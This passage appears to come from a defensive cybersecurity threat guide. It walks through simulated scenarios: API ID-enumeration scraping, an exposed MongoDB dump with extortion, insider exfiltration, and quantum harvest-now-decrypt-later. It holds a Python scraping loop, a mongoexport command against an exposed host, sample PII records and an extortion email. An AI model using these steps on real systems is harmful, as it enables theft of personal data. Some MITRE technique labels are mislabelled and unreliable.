   r = requests.get(f"https://api.paytrust.my/api/v2/user/profile?user_id={uid}",
headers=headers)
   if r.status_code == 200:
      with open("dump.json", "a") as f:
         f.write(r.text + "\n")
```

Result: ~900 user profiles successfully scraped

3. Response Payload Example (Exposed Data):

```
{
 "user_id": "100103",
 "full_name": "Aisyah Noor",
 "ic_number": "950203-14-XXXX",
 "email": "aisyah.noor@gmail.com",
 "account_balance": "RM12,404.50",
 "linked_bank": "CIMB"
}
```

4. Logs and Detection

Web Server Logs (Nginx):

```
10.88.31.45 - - [16/Jul/2025:03:41:52 +0800] "GET /api/v2/user/profile?user_id=100103"
200
10.88.31.45 - - [16/Jul/2025:03:41:53 +0800] "GET /api/v2/user/profile?user_id=100104"
200
...
```

API Gateway Logs:

```
IP: 10.88.31.45
User-Agent: python-requests/2.31
Total Requests in 5 min: 902
API: /user/profile
Unique user_id accessed: 900+
```

SIEM Alert (Triggered late):

```
Title: Abnormal API Access Pattern from Single Account
Rule: >500 API calls with sequential parameter over 10 min
Severity: High
Triggered At: 03:55AM
Account: attacker01@discreetmail.net
```

Source IP: 10.88.31.45

MITRE ATT&CK Mapping

Phase	Action	OWASP/API Security	Detection Method
Initial Access	Account registration	A1: Broken Object Level Auth	Legitimate user account
Exploitation	User ID parameter tampering	A1: BOLA	Web/API gateway logs
Data Exposure	Sensitive PII in API responses	A3: Excessive Data Exposure	JSON dump shows IC, balance
Automation	Scripting for sequential scraping	A10: Insufficient Rate Limiting	Alert via API monitoring
Detection	Abnormal request volume from one token	Behavioural anomaly	SIEM/Threat Intel late

Recommendations

1. Implement strict access control at the object level. Always verify that the requesting user owns the resource (user_id) they are requesting.
2. Avoid exposing internal IDs in URLs — use opaque references (e.g., UUIDs or tokens).
3. Apply rate limiting and behavioural throttling per token and IP address.
4. Deploy API security gateways (e.g., Imperva, Salt Security, Akamai API Shield) with deep behavioural inspection.
5. Mask or minimise sensitive data in response payloads (e.g., IC numbers, bank info).
6. Run regular API pentesting and fuzzing using OWASP ASVS / API Security Top 10 as baselines.

8. DATA PRIVACY AND REGULATORY PRESSURE

In 2025, data privacy is a high-stakes regulatory, reputational and legal concern. Major global and regional privacy laws — such as the EU's General Data Protection Regulation (GDPR), Malaysia's Personal Data Protection Act (PDPA), Thailand's PDPA and others — have matured and are now being enforced with greater precision and severity.

Organisations handling personal data must:

- Obtain explicit consent
- Minimise data collection to necessary fields
- Protect data in storage and transit
- Notify regulators and victims quickly in the event of a breach
- Offer data access and deletion rights to data subjects

In 2025, fines for non-compliance are substantial, often reaching RM1–20 million in Malaysia or up to 4% of global revenue under GDPR. Additionally, civil suits, regulatory audits and loss of public trust can cripple affected organisations.

What makes compliance harder now is:

- Decentralised cloud storage
- Shadow IT and SaaS integrations
- Cross-border data transfers
- Increasing use of data analytics and AI, often without adequate governance

Data protection is not just an IT task, it requires coordinated efforts between legal, security, operations and leadership teams.

Real Example

A popular e-commerce platform in Malaysia stores user profiles orders and payment history in multiple cloud services. A misconfigured database exposes the entire user dataset, including IC numbers, addresses and partial credit card info, to the internet for 2 weeks. Over 1.2 million users are affected. The breach is discovered by a journalist and reported publicly before the company initiates notification. PDPA authorities fine the platform RM7.5 million for delayed breach reporting, weak access controls and lack of user consent transparency. The platform loses several major partners due to reputational impact.

Real Example

Scenario: "DataDrain Disclosure"

A Malaysian healthtech company suffers a data privacy breach after a MongoDB instance containing patient records is exposed to the internet due to lack of authentication. The database is discovered by a threat actor who downloads the entire dataset and threatens to release it unless paid. Authorities fine the organisation for failing to report within the stipulated timeframe and for inadequate technical safeguards.

Step by Step

1. Data Storage Misconfiguration

System Affected:
Cloud-hosted MongoDB database (port 27017 open)

Findings:

- No authentication enabled
- Stored in mongodb://52.77.203.111:27017
- Contains full patient records

Entry:


```
{
 "patient_id": "P832214",
 "full_name": "Muhammad Irfan bin Zaki",
 "ic": "970512-14-XXXX",
 "email": "irfanzaki@gmail.com",
 "diagnosis": "Hypertension Stage 2",
 "visit_date": "2025-05-22",
 "notes": "Prescribed Losartan 50mg"
}
```


2. Discovery by Attacker

Tool Used:

- zoomeye + custom crawler script
- Identifies open MongoDB port with no auth

Attacker IP:
185.192.112.144 (offshore VPS)

Exfiltration Log:

Timestamp: 2025-07-01 02:41:22

Collection: patient_records
Documents Extracted: 782,012
Size: 4.9GB
Tool: mongoexport --host 52.77.203.111 --db clinicdb --collection patient_records

3. Extortion Attempt

Email Sent to DPO (Data Protection Officer):

Subject: We Have Your Patient Data – Pay or It Goes Public

Hello,

Your MongoDB was exposed. We downloaded over 700k patient records. You have 5 days to pay 20 XMR (Monero) or the data goes on RaidForums.

Your ref: exposedclinic[.]onion

Regards,
DataSovereign Group

4. Internal Response & Delays

Timeline:

- 07/01 09:00 AM: IT detects suspicious data access on MongoDB logs
- 07/01 12:00 PM: Infra team confirms no authentication was ever configured
- 07/02 11:00 AM: DPO informed
- 07/04 10:00 AM: Breach escalated to legal and CISO
- 07/06 03:00 PM: Regulatory notification submitted (past 72-hour GDPR/PDPA window)

5. Regulatory Investigation and Fine

Violation Points (PDPA Malaysia):

- No adequate technical control (Data Security Principle)
- Failure to notify PDPA Commissioner in time (within 72 hours)
- No documented consent mechanism for storing diagnostic data (Notice & Choice Principle)

Fine: RM5,000,000
Remediation Required:

- Appoint internal Data Privacy Committee
- Migrate to secure cloud database with encryption at rest
- Conduct Data Protection Impact Assessment (DPIA)
- Deploy DLP and SIEM correlation for sensitive fields

Logs and Detection Summary

System	Log Event
MongoDB Logs	Unauthenticated access from 185.192.112.144
Cloud Firewall Logs	Port 27017 exposed publicly from 2025-05 to 2025-07
Endpoint DLP	Not deployed
SIEM	No alert triggered (no native MongoDB integration)
Email Gateway	Threat email not flagged as phishing/spam

MITRE ATT&CK Mapping

Phase	Action	Regulatory Violation	Detection
Data Mismanagement	Public MongoDB with PII/health data	PDPA Data Security Principle	Shodan/Zoomeye scan logs
Exfiltration	Data dump via mongoexport	PDPA Retention Principle	Cloud network logs
Breach Notification	Notification delay beyond 72 hours	PDPA Breach Notification Clause	Timeline mismatch
Legal Impact	No privacy-by-design, no encryption at rest	Multiple principles	Regulator assessment

Recommendations

1. Enforce data classification and asset inventory for all cloud-hosted services.
2. Mandate encryption at rest and in transit for all sensitive personal data.
3. Deploy database firewall or CSPM tools to alert on unauthenticated public exposure.
4. Train teams on breach notification requirements under PDPA, GDPR, etc.
5. Appoint a Data Protection Officer (DPO) and ensure alignment with legal/compliance teams.
6. Conduct regular DPIAs and third-party audits to measure exposure and control effectiveness.

9. INSIDER THREATS AND PRIVILEGE MISUSE

In 2025, insider threats represent a persistent and dangerous blind spot in many cybersecurity strategies. While external attackers are easier to profile and detect, insiders already have legitimate access, making their actions harder to identify and prove malicious. These threats can be:

- Malicious Insiders: Employees or contractors who deliberately steal, leak or destroy data due to financial gain, ideology or retaliation.
- Negligent Insiders: Users who accidentally mishandle data such as emailing PII to the wrong address or uploading confidential documents to public cloud folders.
- Credential Compromise: External actors who obtain valid credentials (e.g., via phishing) and act as insiders while evading standard threat detection.

The modern workplace remote work, hybrid setups and heavy use of SaaS and collaboration platforms increases the attack surface dramatically. With elevated access, insiders can exfiltrate files, override access control or misuse tools without triggering alarms unless proper user behaviour analytics (UBA) and privilege monitoring are in place.

Real Example

An L2 cybersecurity analyst working at a regional Managed Security Service Provider (MSSP) becomes disgruntled after being passed over for promotion. Over 3 weeks, he uses his elevated access to query and download customer SIEM logs, MDR dashboards and red team reports — storing them in an encrypted USB drive. He resigns quietly, then sells the data to a rival MSSP. The breach is discovered 2 months later during an audit and the company is penalised under multiple client contracts for confidentiality breaches.

Simulation Example

Scenario: “GhostExit”

A technical insider at a managed cybersecurity provider abuses their privileged access to download sensitive client threat data before resigning. The exfiltration happens over several weeks and is disguised as routine file access. Only through UBA and data transfer anomalies is the pattern eventually detected.

Step by Step

1. Insider Profile

Role: Senior Analyst (L2) – Red Team Logs + SIEM Admin
Name: Faris Shamsuddin

Username: faris.sham@cybersecpro.my
Access Rights:

- Read/download from /clients/alerts, /clients/redteam-reports
- Local admin on laptop WIN10-FARIS
- VPN & DLP bypass for red team testing

Recent Event: Denied promotion → submitted resignation (30-day notice)

2. Malicious Activity (Week-by-Week)

Week 1:

- Copies 100+ client reports from /clients/redteam-reports to local disk
- Files renamed to random strings and zipped with AES encryption

Week 2:

- Connects USB drive at 10:30 PM (after hours)
- Copies ZIP files from C:\Users\faris.sham\Downloads

Week 3:

- Sends select threat reports to personal Gmail via webmail in incognito
- Screenshot activity of threat intel dashboard (TTPs, IOCs)

3. Logs & Detection

USB Detection Log (EDR):

[EDR] Event: Removable Media Inserted
Timestamp: 2025-07-04 22:35:18
User: faris.sham@cybersecpro.my
Device: SanDisk 256GB USB
Mount Path: E:\
File Accessed: report_pack-11-Jul.zip (184 MB)

Web Proxy Logs:

User: faris.sham@cybersecpro.my
Site Accessed: mail.google.com (Incognito)
Uploads Detected: 3 attachments >10MB each
Timestamp: 2025-07-07 09:41–09:44 AM

SIEM Behavioural Analytics (UBA Alert):

Alert: Unusual Data Access Pattern – User ID: faris.sham
Triggered On: 2025-07-08 08:00 AM
Reason:
- Accessed 842 files in 3 client folders within 48 hours
- After-hours access spike (12AM–2AM)
- USB insert + encrypted file write
Severity: HIGH

4. Post-Resignation Discovery

Timeline:

- 07/10: Faris exits company; laptop reimaged
- 07/15: Internal audit finds duplicate reports in shared drive
- 07/20: Behavioural logs back-traced
- 07/25: Legal team opens investigation
- 08/01: Client impact disclosure begins

MITRE ATT&CK Mapping

Phase	Action	Tactic / Framework	Detection Method
Credential Abuse	Legitimate access used to collect data	MITRE T1078: Valid Accounts	EDR / File Access Logs
Exfiltration	USB copy, Webmail upload	MITRE T1041: Data Exfiltration	DLP / UBA Alerts
Evasion	After-hours ops, file renaming, encryption	MITRE T1027: Obfuscated Files	Behavioural Anomaly Alerts
Insider Motivation	Personal grievance	N/A	HR Exit Data (contextual)

Recommendations

1. Apply least privilege access — separate read-only/red team logs from broader admin permissions.
2. Monitor privileged user behaviour using UBA and historical baselining (e.g., spike in off-hours access).
3. Use DLP with USB control policies — even for trusted technical users.
4. Log and alert on excessive file access or file zipping/encryption patterns.
5. Integrate HR resignation data into SIEM correlation rules to flag high-risk users.
6. Conduct exit audits of laptop usage, file transfers and cloud activities.

10. QUANTUM THREAT READINESS

Quantum computing poses one of the most transformative threats to cybersecurity. Although quantum systems in 2025 are still in their early stages and not yet capable of breaking encryption in real-time, state and non-state actors are already preparing for that future. The tactic known as “Harvest Now, Decrypt Later (HNDL)” involves stealing encrypted data today especially long-term sensitive information with the intent to decrypt it later once cryptographically relevant quantum computers (CRQCs) are available.

This makes current reliance on classical encryption (like RSA-2048, ECC, DH and even AES-256 in certain contexts) a long-term liability. Victims won’t realise the breach impact immediately but years later, confidential communications, transactions or research might be exposed.

Organisations that store or transmit the following data types are particularly vulnerable:

- National defence secrets
- Healthcare records
- Scientific research
- Intellectual property (e.g., pharma, energy, aerospace)
- Government communications

In response, governments and standards bodies (e.g., NIST, NSA, ISO) are beginning to promote quantum-resistant cryptography (PQC) algorithms such as CRYSTALS-Kyber, Dilithium, SPHINCS+ and more. However, the transition to PQC is complex:

- Existing systems and hardware often can’t support large key sizes
- Many developers and architects lack training in post-quantum protocols
- Interoperability with legacy systems is a barrier

Thus, quantum threat readiness is about planning now, not panicking later.

Real Example

A defence research institute transmits encrypted research archives over TLS 1.2 using RSA key exchange. Unknown to them, a state-backed threat actor captures the encrypted data in transit, logs it and archives it. Five years later, once quantum capabilities mature, the attacker decrypts the session traffic and reveals detailed weapon system designs and simulation data. The original breach was never detected but the compromise undermines years of defence R&D and national security.

Simulation Example

Scenario: “Operation TimeVault”

An advanced threat actor targets a global pharmaceutical research firm to exfiltrate encrypted drug trial data. While they cannot break the encryption today, their goal is to collect and archive encrypted data now for future decryption using quantum tools. The firm uses RSA-2048 and TLS 1.2, both vulnerable in a post-quantum future.

Step by Step

1. Target Selection

Target: BioPharmTech – Kuala Lumpur-based pharmaceutical firm
Valuable Data: Research trials for next-gen vaccine technology, stored on cloud servers and accessed via web portal

Communication Method:

- HTTPS over TLS 1.2 (RSA key exchange)
- VPN with RSA certificates
- File encryption using RSA-2048 and AES-256

2. Threat Actor Reconnaissance

Threat Group: QuantumAegis (nation-state backed)
Methods:

- Passive interception via ISP/tap on undersea cable (SIGINT capability)
- No active compromise (to remain stealthy)

Captured:

- TLS handshake packets
- Encrypted file transfers from remote workers (ZIP archives)
- RSA public keys used in VPN negotiation

3. Encrypted Data Exfiltration

Intercepted Files:

- clinical_trial_vaccineX_Q2.zip → 87MB
- prelim_findings_july.pptx.enc → 12MB
- board_minutes_may.pdf.gpg → 2.3MB

Packet Capture:

Captured over VPN and TLS tunnel

No ability to decrypt now (AES-256 with RSA key wrapping)
All data tagged with:
[Retain_Until: Post-Quantum_Decrypt-Phase_01]

Attacker Storage:

QuantumAegis Data Vault → RAID Array / Cold Archive
Metadata: Source IPs, timestamps, cert fingerprints
Storage Format: PCAP + File blobs

4. Victim's Posture (Audit Findings)

Layer	Finding
TLS Protocol	TLS 1.2 with RSA key exchange still enabled
File Encryption	RSA-2048 hybrid encryption used without key rotation
VPN Gateway	Relies on RSA certificates (no PQC or ECC upgrade)
Data Retention	10-year archive policy for research data
Logs	No evidence of exfiltration — attack was passive

5. Regulatory & Strategic Risk

- Data breach not technically reportable (no system compromise)
- But strategic risk remains: long-term research secrets potentially exposed in the future
- GDPR Article 32 (Encryption) and PDPA Best Practices could trigger audit queries
- IP value at risk: Estimated RM500 million in future revenue loss if leaked

MITRE ATT&CK Mapping

Phase	Action	Tactic / Framework	Detection
Reconnaissance	SIGINT-based passive packet capture	MITRE T1598: Data Collection	None (stealth & external)
Exfiltration	Archived encrypted files	T1030: Data Transfer Size & Frequency	No internal alert
Exploitation (Future)	Post-quantum decryption planned	N/A – Quantum Decryption (Future)	Not yet possible to detect

Recommendations

1. Upgrade cryptographic protocols to quantum-safe standards:
    - Use TLS 1.3 with PQC hybrid modes
    - Replace RSA/ECC with CRYSTALS-Kyber or Dilithium once stable
2. Encrypt data with quantum-resistant schemes, especially:
    - Files stored long-term

    - Healthcare, defence, legal and government archives
3. Implement cryptographic agility design systems to support multiple algorithms for easy switchover
4. Monitor for passive SIGINT exposure risks include traffic encryption posture in risk assessments
5. Educate leadership and legal teams on post-quantum risks to compliance, patents and trade secrets
6. Track NIST and NSA PQC standards begin pilots now, not later